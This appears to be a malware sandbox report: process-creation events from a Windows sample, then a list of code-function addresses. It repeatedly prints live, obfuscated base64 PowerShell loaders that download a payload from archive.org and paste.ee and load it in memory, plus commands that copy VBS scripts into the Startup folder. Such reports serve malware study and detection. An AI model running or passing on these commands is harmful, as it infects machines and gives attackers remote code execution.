'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\escrivan.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B0A8E0 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,	0_2_00007FF681B0A8E0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B0A7C0 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,	0_2_00007FF681B0A7C0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681AD2630 NtCancelIoFileEx,RtlNtStatusToDosError,	0_2_00007FF681AD2630

Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E51CA	0_2_00007FF6819E51CA
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819F6162	0_2_00007FF6819F6162
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E9CD5	0_2_00007FF6819E9CD5
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A03C9D	0_2_00007FF681A03C9D
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A60F30	0_2_00007FF681A60F30
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B48E40	0_2_00007FF681B48E40
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B2BB10	0_2_00007FF681B2BB10
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B41310	0_2_00007FF681B41310
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A76A00	0_2_00007FF681A76A00
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A5C170	0_2_00007FF681A5C170
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819F39B2	0_2_00007FF6819F39B2
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B1F150	0_2_00007FF681B1F150
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B4A500	0_2_00007FF681B4A500
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A284E0	0_2_00007FF681A284E0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E6C50	0_2_00007FF6819E6C50
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681AC6CB0	0_2_00007FF681AC6CB0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E9490	0_2_00007FF6819E9490
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A813E0	0_2_00007FF681A813E0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819EEC30	0_2_00007FF6819EEC30
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B2ABD0	0_2_00007FF681B2ABD0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A28B70	0_2_00007FF681A28B70
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A28370	0_2_00007FF681A28370
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E7B80	0_2_00007FF6819E7B80
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681AB9ED0	0_2_00007FF681AB9ED0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A28F30	0_2_00007FF681A28F30
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A8C710	0_2_00007FF681A8C710
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B156F0	0_2_00007FF681B156F0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681A78E70	0_2_00007FF681A78E70
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF681B2C650	0_2_00007FF681B2C650
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819EA690	0_2_00007FF6819EA690
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819E6DF0	0_2_00007FF6819E6DF0
Source: C:\Users\user\Desktop\TM3utH2CsU.exe	Code function: 0_2_00007FF6819ECDC8	0_2_00007FF6819ECDC8
